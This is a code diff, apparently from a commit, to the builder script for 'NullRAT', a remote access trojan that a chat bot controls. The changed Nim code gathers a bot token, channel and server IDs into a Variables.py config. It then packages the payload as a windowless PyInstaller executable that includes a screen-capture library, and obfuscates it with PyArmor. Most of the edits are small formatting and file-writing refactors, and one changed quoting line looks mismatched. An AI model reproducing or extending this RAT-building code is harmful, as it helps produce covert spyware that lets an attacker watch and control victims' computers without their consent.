@@ -227,7 +227,7 @@ proc compiler(): int =
227227
228228 var pyinst_cmd = pyinst & " --onefile --noconsole --hidden-import mss"
229229
230- var dat: string = fmt" --add-data ' Variables.py;.' "
230+ var dat: string = fmt" --add-data "" Variables.py;.'"" "
231231 pyinst_cmd.add (dat)
232232
233233 var pyarmor_cmd: string
@@ -277,7 +277,7 @@ proc variablesCreator(x: int) =
277277 stdout.styledWriteLine (fgCyan, {styleBright}, " \n Stored information\n ------------------" )
278278 let EnF = readFile (" Variables.py" )
279279 stdout.styledWriteLine (fgCyan, {styleBright}, EnF )
280- stdout.styledWriteLine ({styleBright}, " Is this information correct? (Y/n)" )
280+ stdout.styledWriteLine ({styleBright}, " \n Is this information correct? (Y/n)" )
281281 var input: char = getch ()
282282 if input == 'N' or input == 'n' :
283283 echo " - Information marked incorrect! Continuing..."
@@ -299,21 +299,23 @@ proc variablesCreator(x: int) =
299299 var notificationID = readLine (stdin)
300300
301301 let lines = [
302- " # This file was auto-generated by NullRAT Builder. DO NOT EDIT!" ,
303302 fmt" bot_token = "" { token} "" " ,
304303 " notification_channel = " & notificationID,
305304 " server_ids = [" & serverID & " ]"
306305 ]
307306
307+ var linesString: string = " # This file was auto-generated by NullRAT Builder. DO NOT EDIT!\n "
308+
308309 printName ()
309310 stdout.styledWriteLine ({styleBright}, " >> Variables Creator <<" )
310- echo " "
311- echo " Obtained information:"
312- echo " ---------------------"
311+ echo " \n Obtained information:\n ---------------------"
312+
313313 for line in lines:
314314 if " #" in line: continue
315315 echo line
316+ linesString.add (" \n " & line)
316317 echo " "
318+
317319 stdout.styledWriteLine ({styleBright}, " Is this information correct? (Y/n)" )
318320 var input: char = getch ()
319321 if input == 'N' or input == 'n' :
@@ -324,12 +326,13 @@ proc variablesCreator(x: int) =
324326 else :
325327 echo " - Information marked correct. Writing..."
326328 removeFile (" Variables.py" )
327- let f = open (" Variables.py" , fmWrite)
328- defer : f.close ()
329329
330- for line in lines:
331- f.writeLine (line)
332-
330+ echo linesString
331+ let
332+ fileName = " Variables.py"
333+ str = linesString
334+ writeFile (fileName, str)
335+
333336 stdout.styledWriteLine ({styleBright}, " - Written information to disk!" )
334337 echo " "
335338 stdout.styledWriteLine ({styleBright}, " Moving on to compiler..." )
0 commit comments